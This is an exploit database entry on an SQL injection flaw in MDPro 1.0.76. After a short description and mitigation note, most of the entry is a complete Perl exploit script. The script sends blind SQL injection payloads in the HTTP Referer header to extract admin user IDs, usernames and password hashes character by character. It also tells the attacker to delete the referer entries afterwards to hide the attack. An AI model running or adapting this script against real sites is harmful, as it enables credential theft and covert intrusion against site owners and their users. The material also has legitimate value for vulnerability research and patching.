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vendor:
MDPro 1.0.76
by:
undefined1_
7.5
CVSS
HIGH
SQL Injection
CWE
Product Name: MDPro 1.0.76
Affected Version From: MDPro 1.0.76
Affected Version To: MDPro 1.0.76
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

SQL Injection in MDPro 1.0.76

This exploit allows an attacker to perform SQL injection in MDPro 1.0.76. The vulnerability is due to improper input validation in the application. An attacker can manipulate the input fields to execute arbitrary SQL queries, which can lead to unauthorized access, data manipulation, or information disclosure. The exploit works by injecting SQL statements into the application's database queries.

Mitigation:

To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques. Additionally, the application should use prepared statements or parameterized queries to prevent SQL injection attacks.
Source

Exploit-DB raw data:

#!/usr/bin/perl

use strict;
use IO::Socket;

my $app = "MDPro 1.0.76";
my $type = "SQL Injection";
my $author = "undefined1_";
my $settings = "magic_quotes_runtime = off, mysql >= 4.1.0";

$| = 1;
print ":: $app $type - by $author ::\n\n\n";

my $url = shift || usage();

if($url =~ m/^(?:http:\/\/)(.*)/) {
	$url = $1;
}
if($url !~ m/^.*\/$/) {
	$url .= "/";
}

get_md5s($url);
print "don't forget to delete the referers from the admin interface...\n";

sub get_md5s {
	my $url = shift;
	$url .= "index.php"; 
	my $admins_only = shift;
	my $ps = 0;
	my $referer = "Firefox ID=". randstring(20,25);
	
	my $uid_charset = "1234567890";
	my $user_charset = "abcdefghijklmnopqrstuvwxyz-_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ][}{+=/\\'\"\@\$#!%^&*()";
	my $pass_charset = "afc0123456789abde";
	
	my $data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
	$data .= "Host: " . parse_host($url) . "\r\n";
	$data .= "Referer: $referer\r\n";
	$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
	$data .= "Connection: close\r\n\r\n";
	my $recv = sendpacket(parse_host($url), parse_port($url), $data);
	$ps++;
	
	$data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
	$data .= "Host: " . parse_host($url) . "\r\n";
	$data .= "Referer: '\r\n";
	$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
	$data .= "Connection: close\r\n\r\n";
	$recv = sendpacket(parse_host($url), parse_port($url), $data);
	$ps++;
	if($recv !~ m/Call to undefined function PN_DBMsgError/m) {
		print "magic quotes = on ;-[\n";
		return $ps;
	}
	
	my $recv;
	my $lastuid = 0;
	while(1) {
		my $uid_length = length("$lastuid");
		my $user_length = 1;
		my $pass_length = 32;
		my $uid = "";
		my $user = "";
		my $pass = "";
		my $O_RLY = 0;

		for(my $x = $uid_length; $x <= 8; $x++) {
			print "\ruid length = $uid_length";
			$data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
			$data .= "Host: " . parse_host($url) . "\r\n";
			$data .= "Referer: $referer' and (select 1 from md_group_membership where length(CONCAT(pn_uid))=$x and pn_uid>$lastuid and pn_gid=2 limit 1 order by pn_uid asc)=1 order by 1 asc/*\r\n";
			$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
			$data .= "Connection: close\r\n\r\n";
			$recv = sendpacket(parse_host($url), parse_port($url), $data);
			$ps++;

			if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
				$uid_length = $x;
				$x = 9;
				$O_RLY = 1;
			}
		}
		
		if($O_RLY == 0) { return $ps; }
		$O_RLY = 0;
		
		print "\ruid length = $uid_length\n";
		
		for(my $i = 1; $i <= $uid_length; $i++) {
			for(my $j = 0; $j < length($uid_charset); $j++) {
				my $key = substr($uid_charset, $j, 1);
				my $hex_key = sprintf("0x%02x", ord($key));
				print "\ruid = $uid$key";
				
				$data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
				$data .= "Host: " . parse_host($url) . "\r\n";
				$data .= "Referer: $referer' and (select 1 from md_group_membership where substring(pn_uid,$i,1)=$hex_key and pn_uid>$lastuid and pn_gid=2 order by pn_uid asc limit 1)=1 order by 1 asc/*\r\n";
				$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
				$data .= "Connection: close\r\n\r\n";
				$recv = sendpacket(parse_host($url), parse_port($url), $data);
				$ps++;				
				
				if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
					$uid .= $key;
					$j = length($uid_charset);				
				}				
			}	
		}
		
		print "\ruid = $uid\n";
			
		for(my $x = $user_length; $x <= 25; $x++) {
			print "\ruser length = $x";
			$data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
			$data .= "Host: " . parse_host($url) . "\r\n";
			$data .= "Referer: $referer' and (select 1 from md_users where length(pn_uname)=$x and pn_uid=$uid limit 1)=1 order by 1 asc/*\r\n";
			$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
			$data .= "Connection: close\r\n\r\n";
			$recv = sendpacket(parse_host($url), parse_port($url), $data);
			$ps++;

			if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
				$user_length = $x;
				$x = 26;
				$O_RLY = 1;
			}
		}
		
		if($O_RLY == 0) { return $ps; }
		$O_RLY = 0;
		
		print "\ruser length = $user_length\n";
		
		for(my $i = 1; $i <= $user_length; $i++) {
			for(my $j = 0; $j < length($user_charset); $j++) {
				my $key = substr($user_charset, $j, 1);
				my $hex_key = sprintf("0x%02x", ord($key));
				print "\ruser = $user$key";
				
				$data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
				$data .= "Host: " . parse_host($url) . "\r\n";
				$data .= "Referer: $referer' and (select 1 from md_users where substring(pn_uname,$i,1)=$hex_key and pn_uid=$uid limit 1)=1 order by 1 asc/*\r\n";
				$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
				$data .= "Connection: close\r\n\r\n";
				$recv = sendpacket(parse_host($url), parse_port($url), $data);
				$ps++;				
				
				if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
					$user .= $key;
					$j = length($user_charset);				
				}				
			}	
		}
				
		print "\ruser = $user\n";
		
		
		
		
		# pour le pass, faire genre un tolower du char direct dans la sql query
		
		for(my $i = 1; $i <= $pass_length; $i++) {
			for(my $j = 0; $j < length($pass_charset); $j++) {
				my $key = substr($pass_charset, $j, 1);
				my $hex_key = sprintf("0x%02x", ord($key));
				print "\rpassword = $pass$key";
				
				$data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
				$data .= "Host: " . parse_host($url) . "\r\n";
				$data .= "Referer: $referer' and (select 1 from md_users where lower(substring(pn_pass,$i,1))=$hex_key and pn_uid=$uid limit 1)=1 order by 1 asc/*\r\n";
				$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
				$data .= "Connection: close\r\n\r\n";
				$recv = sendpacket(parse_host($url), parse_port($url), $data);
				$ps++;				
				
				if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
					$pass .= $key;
					$j = length($pass_charset);				
				}				
			}	
		}
				
		print "\rpassword = $pass\n\n";
		
		
		exit;
	}
}

# ======================================================

sub parse_host {
	my $url = shift;
	if($url =~ m/^([^\/:]+).*\//) {
		return $1;
	}
	return "127.0.0.1";
}

sub parse_port {
	my $url = shift;
	if($url =~ m/^(?:[^\/:]+):(\d+)\//) {
		return $1;
	}
	return "80";
}

sub parse_page {
	my $url = shift;
	if($url =~ m/^(?:[^\/]+)(\/.*)/) {
		return $1;
	}
	return "/";
}

sub randstring(\$,\$) {
	my $min = shift;
	my $max = shift;

	my $length = int( (rand(65535)%($max-$min+1))+$min);
	my $ret = "";
	for(my $i = 0; $i < $length; $i++)
	{
		my $w = int(rand(3));
		if($w == 0)
		{
			$ret .= chr(97 + int(rand(26)));
		}
		elsif($w == 1)
		{
			$ret .= chr(65 + int(rand(26)));
		}
		else
		{
			$ret .= chr(48 + int(rand(10)));
		}
	}

	return $ret;
}

sub sendpacket {
	my $server = shift;
	my $port = shift;
	my $data = shift;

	my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $server, PeerPort => $port) or die ":: Could not connect to $server:80 $!\n";
	print $sock "$data";
	
	$data = "";
	my $resp;
	while($resp = <$sock>)	{ $data .= $resp; }
	
	close($sock);
	return $data;
}

sub usage() {
	printf "usage: %s <url>\n", $0;	
	exit;
}

# milw0rm.com [2007-09-29]

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